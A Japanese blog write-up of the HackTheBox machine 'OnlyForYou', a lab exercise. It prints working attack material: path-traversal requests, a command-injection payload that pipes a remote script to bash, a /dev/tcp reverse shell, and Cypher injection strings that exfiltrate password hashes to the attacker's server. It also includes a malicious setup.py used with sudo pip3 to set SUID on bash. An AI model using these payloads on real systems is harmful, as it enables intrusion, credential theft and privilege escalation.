3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox OnlyForYou WriteUp

Last updated at Posted at 2023-08-26

今回はHackTheBoxのMediumマシン「OnlyForYou」のWriteUpです!
OnlyForYou、、あなたのためだけ、、あまりピンとこないですが、攻略目指して頑張りましょう!
スクリーンショット 2023-05-11 170552.png
評価も高くグラフもそこまで高いようには見えませんね。
それでもMediumなので油断はできません!

HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

OnlyForYou

侵入

それでは、攻略を開始しましょう。

・ポートスキャン

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.210 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)

いつも通り、22番と80番が確認できました。

・Web探索
では、80番にアクセスしていきましょう。
TopPage.png
よくわかりませんが、Only4Youというソフトウェアを提供しているようです。
トップページからは、どこにも遷移できないので、ディレクトリ探索をしてみましょう。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ gobuster dir -u http://only4you.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://only4you.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/09 14:28:41 Starting gobuster in directory enumeration mode
===============================================================
Progress: 4604 / 4615 (99.76%)
===============================================================
2023/05/09 14:30:07 Finished
===============================================================

何も出てきません。このドメインから得られるものはなさそうです。
サブドメインが存在するか調査します。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.only4you.htb" -u http://10.10.11.210 -fs 178 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/ '      

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.210
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.only4you.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 188ms]
    * FUZZ: beta

:: Progress: [151265/151265] :: Job [1/1] :: 222 req/sec :: Duration: [0:11:30] :: Errors: 0 ::

実行の結果「beta」というサブドメインを発見しました。
hostsファイルに記述し、アクセスしてみましょう。
スクリーンショット 2023-05-09 142629.png
beta siteが表示されました。
Source Codeというボタンがあります。
押してみると、ZIPファイルがダウンロードできるので解凍していきましょう。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ unzip source.zip        
Archive:  source.zip
   creating: beta/
  inflating: beta/app.py             
   creating: beta/static/
   creating: beta/static/img/
  inflating: beta/static/img/image-resize.svg  
   creating: beta/templates/
  inflating: beta/templates/400.html  
  inflating: beta/templates/500.html  
  inflating: beta/templates/convert.html  
  inflating: beta/templates/index.html  
  inflating: beta/templates/405.html  
  inflating: beta/templates/list.html  
  inflating: beta/templates/resize.html  
  inflating: beta/templates/404.html  
   creating: beta/uploads/
   creating: beta/uploads/resize/
   creating: beta/uploads/list/
   creating: beta/uploads/convert/
  inflating: beta/tool.py

多くのファイルを確認しましたが、app.pyが気になるので内容を見てみます。

from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg
 . . .
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)
 . . .

いくつかのルーティングが記述してありましたが、その中でもdownloadに注目します。
コードを読むと、imageパラメータで指定されたファイルをダウンロードできることがわかります。
ディレクトリトラバーサルの対策として、「..」を含むファイルと「../」から始まるファイルが指定された場合、攻撃とみなしてlistへリダイレクトするようです。
ちなみに、listの画面は以下のようになっています。

ダウンロードのボタンを押すことで、downloadへのリクエストが送信されていることがBurpSuiteで確認できました。
下記は実際のリクエストです。

POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://beta.only4you.htb
Connection: close
Referer: http://beta.only4you.htb/list
Upgrade-Insecure-Requests: 1

image=100x100.png

やはりimageパラメータが使用されています。
今回は対策されているので、imageパラメータを悪用できないかと思いましたが、よくみてみると対策が十分でないことがわかります。
確かに、「..」を含むことと「../」から始まることを除外すれば、充分のように感じます。しかし、ファイル名は「/」から始めることが可能です。
つまり、BurpSuiteで以下のようにパラメータを変更し、リクエストを送ることで、この対策を回避することが可能です。

image=/../../../../../etc/passwd

実際にリクエストを送ると、

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 13:00:43 GMT
Content-Type: application/octet-stream
Content-Length: 2079
Connection: close
Content-Disposition: attachment; filename=passwd
Last-Modified: Thu, 30 Mar 2023 12:12:20 GMT
Cache-Control: no-cache
ETag: "1680178340.2049809-2079-393413677"

root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

出力は多くを省略していますが、passwdファイルを出力させることに成功しました。
この脆弱性を悪用し、さらに情報を列挙していきます。
何も情報が出なかった「only4you.htb」のapp.pyを出力させることができないか色々と試してみます。
問題となるのはディレクトリ名ですが、flaskアプリはアプリ名がディレクトリ名として使用されるので、アプリ名で試してみましょう。

image=/../../../../../var/www/only4you/app.py

only4youと設定し、BurpSuiteでリクエストを送信します。

HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 14:32:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 197
Connection: close
Location: /list
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiSW1hZ2UgZG9lc24ndCBleGlzdCEiXX1dfQ.ZFpZcw.HHmp-OeaEvHVArXbni1LTSlQsd8; HttpOnly; Path=/

見つからないようです。
困りましたね。どこかにヒントがあったでしょうか。もう少し色々と試してみましょう。
次は、only4you.htbと設定し、BurpSuiteでリクエストを送信します。

image=/../../../../../var/www/only4you.htb/app.py

応答を見てみましょう。

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 09 May 2023 14:34:16 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 1297
Connection: close
Content-Disposition: attachment; filename=app.py
Last-Modified: Mon, 12 Dec 2022 19:27:33 GMT
Cache-Control: no-cache
ETag: "1670873253.537084-1297-2541619842"
・・・

ヒットしました!
コードを確認します。

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

問い合わせのリクエスト処理が記述されています。
各パラメータを受け取ったあと、sendmessageという関数を実行しています。
この関数はformというファイルからインポートしているので、次はformの内容を見てみましょう。

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

sendmessage以外にも、issecureという関数を確認しました。
コードを読んでいくと、上から11行目が目につきました。

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

この部分ですが、10行目で取得したドメインをそのままdigの実行に合わせて使用しています。
入力を制御していないのでコマンドを実行させることができそうです。
シェルを取得したいので、pingが実行できるかを試します。

POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://only4you.htb
Connection: close
Referer: http://only4you.htb/
Upgrade-Insecure-Requests: 1

name=test&email=test@htb.com;ping -c 3 10.10.14.8&subject=test&message=test

セミコロンで2つ目のコマンド実行を狙ういつものパターンです。
用意ができたら、tcpdumpで待ち受けリクエストを送信します。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ sudo tcpdump -i tun0 icmp    
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:00:44.492406 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 1, length 64
00:00:44.492537 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 1, length 64
00:00:45.378731 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 2, length 64
00:00:45.378748 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 2, length 64
00:00:46.430755 IP only4you.htb > 10.10.14.8: ICMP echo request, id 3, seq 3, length 64
00:00:46.430774 IP 10.10.14.8 > only4you.htb: ICMP echo reply, id 3, seq 3, length 64

通信が確認できました!
リバースシェルが取得できそうです。

www-dataとしてのシェル

では、リクエストを送信していきましょう。
リクエストを送信する前に、リバースシェルを返すスクリプトを作成しておきます。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ cat bash.sh               
bash -i >& /dev/tcp/10.10.14.8/5555 0>&1

スクリプトが作成できたら、サーバを立ち上げます。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 80                                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

この立ち上げたサーバへcurlを実行し、スクリプトを読み込ませ、そして実行します。
使用するリクエストは下記の通りです。

POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://only4you.htb
Connection: close
Referer: http://only4you.htb/
Upgrade-Insecure-Requests: 1

name=test&email=test%40htb.com;curl+http://10.10.14.8/bash.sh+|+bash&subject=test&message=test

kali側で待ち受け、リクエストを送信します。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ nc -lvnp 5555 
listening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.210] 59100
bash: cannot set terminal process group (1011): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ whoami
whoami
www-data

侵入に成功しました!

横移動

当然www-dataではフラグへの権限がないので、権限移動が必要です。
ユーザの存在を確認するために、ホームディレクトリを見てみましょう。

www-data@only4you:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root root 4096 Mar 30 11:51 .
drwxr-xr-x 17 root root 4096 Mar 30 11:51 ..
drwxr-x---  5 dev  dev  4096 May 10 12:29 dev
drwxr-x---  4 john john 4096 Mar 30 11:51 john

passwdファイルでも確認はしていましたが、johnとdevの存在を改めて確認しました。
どちらかのシェルを取得できるよう、列挙を進めていきます。
まずはどちらかのユーザに権限があるファイルの存在を検索しましたが、何も出力されませんでした。
実行されているサービスを確認してみます。

www-data@only4you:~/only4you.htb$ netstat -tulpn | grep LISTEN 
netstat -tulpn | grep LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1025/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -

多くのサービスが動いています。
3000番や8001番、7474番、7687番は初めて見るものです。

frp

ローカルホストで動いているので、Webでアクセスすることはできなさそう。。と思われがちですが、frpを使うことでローカルサーバをインターネット上に公開できます。
ngrokも使えるのですが、今回はfrpを使用します。
まずは、frpc.iniファイルを作成します。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ cat frpc.ini    
[common]
server_addr = 10.10.14.8
server_port = 7000

[test1]
type = tcp
local_ip = 127.0.0.1
local_port = 3000
remote_port = 3000

[test2]
type = tcp
local_ip = 127.0.0.1
local_port = 7474
remote_port = 7474

[test3]
type = tcp
local_ip = 127.0.0.1
local_port = 7687
remote_port = 7687

[test4]
type = tcp
local_ip = 127.0.0.1
local_port = 8001
remote_port = 8001

iniファイルが作成できたら、wgetを使用し、frpcとiniファイルをマシン上にダウンロードさせます。

www-data@only4you:~/only4you.htb$ wget 10.10.14.8:8000/frpc
wget 10.10.14.8:8000/frpc
--2023-05-11 04:44:15--  http://10.10.14.8:8000/frpc
Connecting to 10.10.14.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12505088 (12M) [application/octet-stream]
Saving to: ‘frpc’

frpc                100%[===================>]  11.93M  1.65MB/s    in 9.8s    

2023-05-11 04:44:25 (1.21 MB/s) - ‘frpc’ saved [12505088/12505088]

www-data@only4you:~/only4you.htb$ wget 10.10.14.8:8000/frpc.ini
wget 10.10.14.8:8000/frpc.ini
--2023-05-11 04:44:56--  http://10.10.14.8:8000/frpc.ini
Connecting to 10.10.14.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 365 [application/octet-stream]
Saving to: ‘frpc.ini’

frpc.ini            100%[===================>]     365  --.-KB/s    in 0s      

2023-05-11 04:44:56 (3.71 MB/s) - ‘frpc.ini’ saved [365/365]

frpcを実行する前に、frpsをkali側で実行しておきます

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ./frps      
2023/05/11 13:48:28 [I] [root.go:208] frps uses command line arguments for config
2023/05/11 13:48:29 [I] [service.go:200] frps tcp listen on 0.0.0.0:7000
2023/05/11 13:48:29 [I] [root.go:215] frps started successfully

frpsの実行に成功したら、マシン上でfrpcを実行しましょう。

www-data@only4you:~/only4you.htb$ ./frpc
./frpc
2023/05/11 04:48:37 [I] [service.go:299] [9dd3b4185d0af89c] login to server success, get run id [9dd3b4185d0af89c], server udp port [0]
2023/05/11 04:48:37 [I] [proxy_manager.go:142] [9dd3b4185d0af89c] proxy added: [test1 test2 test3 test4]
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test1] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test2] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test3] start proxy success
2023/05/11 04:48:37 [I] [control.go:172] [9dd3b4185d0af89c] [test4] start proxy success

上手く実行できていそうです。
Webでアクセスできるか試しに「127.0.0.1:3000」へアクセスしてみましょう。
スクリーンショット 2023-05-11 151945.png
アクセスできました!
ほかのポートも見てみましょう。7474番にアクセスします。
スクリーンショット 2023-05-11 151921.png
Neo4j接続の画面が表示されました。
7687番に接続しようとしましたが、うまくいきませんでした。
最後に8001番にもアクセスしてみましょう。
スクリーンショット 2023-05-11 135203.png
ログイン画面が表示されましたね。適当に入力してみます。
admin : adminなんかどうでしょう。
スクリーンショット 2023-05-11 135414.png
ログインに成功しました!
やはり、ローカルのサービスは認証管理が甘いですね。
ダッシュボード内を列挙していきます。どうやら、従業員を検索できる画面があるようです。
スクリーンショット 2023-05-11 135826.png
adminと入力してみましたが、何も表示されません。
しかし、DBを使用している可能性が高いので、シングルクォーテーションを付けてもう一度検索してみます。
スクリーンショット 2023-05-11 140034.png
500番エラーが表示されました!今回はNeo4jが使用されているので、Cypherインジェクションが発火しそうです。
しかし、500番エラー時の画面のハンドリングは行われていて、Cypherインジェクションの対策は行われていないというのがおもしろおかしいところではありますね。

Cypherインジェクション

認証情報目指して、Cypherインジェクションを発火させていきます。
使用方法などの詳しい説明はHackTricksで紹介されています。

それでは実際に、発火させていきましょう。
まず初めに、発火した際の結果を受け取るサーバを立ち上げておきます。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

これで準備は万端です。
まずはバージョンを出力させていきましょう。searchパラメータに以下の文字列を入力します。

search=admin' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.8:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

このままリクエストを送信しても何も返ってこないので、URLエンコーディングが必要です。
最終的には下記のようになります。

search=%61%64%6d%69%6e%27%20%4f%52%20%31%3d%31%20%57%49%54%48%20%31%20%61%73%20%61%20%20%43%41%4c%4c%20%64%62%6d%73%2e%63%6f%6d%70%6f%6e%65%6e%74%73%28%29%20%59%49%45%4c%44%20%6e%61%6d%65%2c%20%76%65%72%73%69%6f%6e%73%2c%20%65%64%69%74%69%6f%6e%20%55%4e%57%49%4e%44%20%76%65%72%73%69%6f%6e%73%20%61%73%20%76%65%72%73%69%6f%6e%20%4c%4f%41%44%20%43%53%56%20%46%52%4f%4d%20%27%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%38%3a%38%30%30%30%2f%3f%76%65%72%73%69%6f%6e%3d%27%20%2b%20%76%65%72%73%69%6f%6e%20%2b%20%27%26%6e%61%6d%65%3d%27%20%2b%20%6e%61%6d%65%20%2b%20%27%26%65%64%69%74%69%6f%6e%3d%27%20%2b%20%65%64%69%74%69%6f%6e%20%61%73%20%6c%20%52%45%54%55%52%4e%20%30%20%61%73%20%5f%30%20%2f%2f%20

エンコーディング出来たら、送信しましょう。
500番が返ってきますが、問題ありません。立ち上げたサーバのログを確認してみます。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.210 - - [11/May/2023 14:50:53] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [11/May/2023 14:50:53] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

バージョン情報が出力されています!
Cypherインジェクションを発火させることが出来たので、認証情報を取得しましょう。
まずは、ラベルを取得します。パラメータは下記のようになります。

search=admin' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.8:8000/?lable='+label as l RETURN 0 as _0 //

先ほどと同じように、エンコーディングし、リクエストを送信します。
同様に500番が返ってきますが、気にせずにログを見てみましょう。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
10.10.11.210 - - [11/May/2023 14:58:45] "GET /?lable=user HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 14:58:46] "GET /?lable=employee HTTP/1.1" 200 -

userとemployeeが出力されました。userには認証情報がありそうです。
キーを出力させましょう。パラメータは下記の通りです。

search=admin' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.8:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

エンコーディング後、送信し、ログを見ましょう。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ python3 -m http.server 8000
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:52] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [11/May/2023 15:01:53] "GET /?username=john HTTP/1.1" 200 -

ハッシュ化されていますが、adminとjohnのパスワードが出力されました!
どちらかのパスワードが解読できるかjohnを実行してみます。
スクリーンショット 2023-05-11 150642.png
johnのパスワードがcrackstationでヒットしました!

johnとしてのシェル

では、SSHでログインしましょう。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou]
└─$ ssh john@10.10.11.210
john@10.10.11.210s password: 

john@only4you:~$ whoami
john

横移動に成功しました!

john@only4you:~$ ls -l
total 4
-rw-r----- 1 root john 33 May 11 04:23 user.txt

devユーザへの移動が必要かと思われましたが、フラグを確認できています。

権限昇格

ではここから権限昇格を目指していきましょう。
まずは、sudo -lですね。

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

pip3 downloadがNOPASSWDで実行できるようです。
Googleで調べてみると、悪意のあるパッケージをpip3 downloadすることで任意のコマンドを実行できるようです。
下記は私が参考にさせていただいたサイトです。

記事の内容と記事の中で紹介されているGitHubのコードを参考にし、setup.pyを作成します。
今回もbashにSUIDを付与することを目的とします。
作成したコードは下記の通りです。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou/PipExploit]
└─$ cat setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
	os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
	def run(self):
		RunCommand()
		egg_info.run(self)

class RunInstallCommand(install):
	def run(self):
		RunCommand()
		install.run(self)

setup(
	name = "exploit",
	version = "0.0.1",
	license = "MIT",
	packages = find_packages(),
	cmdclass = {
		'install' : RunInstallCommand,
		'egg_info' : RunEggInfoCommand
	},
)

setup.pyが作成できたら、パッケージを構築します。

┌──(kali㉿kali)-[~/Desktop/OnlyForYou/PipExploit]
└─$ python -m build                                         
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
・・・
ld/bdist.linux-x86_64/wheel' to it
adding 'exploit-0.0.1.dist-info/METADATA'
adding 'exploit-0.0.1.dist-info/WHEEL'
adding 'exploit-0.0.1.dist-info/top_level.txt'
adding 'exploit-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built exploit-0.0.1.tar.gz and exploit-0.0.1-py3-none-any.whl

最終的に、tarファイルとwhlファイルが出来上がりました。
今回使用するのは、tarファイルですが、3000番に配置してあるtarファイルを対象とするようです。
もう一度3000番にアクセスし、ファイルをアップロードすることができないか調査していきましょう。
スクリーンショット 2023-05-11 151945.png
トップページの右上にSign Inのボタンがありますね。
押してみると、ログイン画面が表示されます。
スクリーンショット 2023-05-11 155308.png
SSHログインで使用した認証情報で、こちらもログインできないか試してみます。
スクリーンショット 2023-05-11 155443.png
ログインできました!
ダッシュボードを見てみると、TestというRepositoryがあり、ファイルをアップロードすることが出来そうです。
スクリーンショット 2023-05-11 155816.png
では、作成したtarファイルをRepositoryにアップロードしていきます。
スクリーンショット 2023-05-11 160014.png
アップロードできたら、このファイルを指定してpip downloadを実行します

john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
  ERROR: HTTP error 404 while getting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
  ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz because of error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
ERROR: Could not install requirement http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz because of HTTP error 404 Client Error: Not Found for url: http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz for URL http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz

あれ、404エラーが出てしまいました。
Web上ではアクセスできるのですが、、、、なぜでしょうか。

10分ほど悩みましたが、リポジトリの鍵マークを見て解決法を思いつきました。
このリポジトリはプライベートリポジトリだったのです。プライベートなのでアクセスできないのは当たり前のことです。
パブリックへと変更できないでしょうか。設定画面を見てみます。
スクリーンショット 2023-05-11 163424.png
プライベートとパブリックを切り替えるチェックボックスがありました!
最初はチェックがついており、プライベートとなっているので、外しておきます。
外すことで、johnの横にあったマークがカギが外れたような状態になっていますね。

rootとしてのシェル

それでは気を取り直して、もう一度sudoを実行しましょう。

john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/raw/master/exploit-0.0.1.tar.gz (840 bytes)
  Saved ./exploit-0.0.1.tar.gz
Successfully downloaded exploit

ダウンロードに成功しました!
bashにsetuidが設定されていないか確認します。

john@only4you:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

付与されています!bashを実行しましょう!

john@only4you:~$ bash -p
bash-5.0# whoami
root

権限昇格成功です!

bash-5.0# ls -l
total 8
-rw-r----- 1 root root   33 May 11 04:23 root.txt
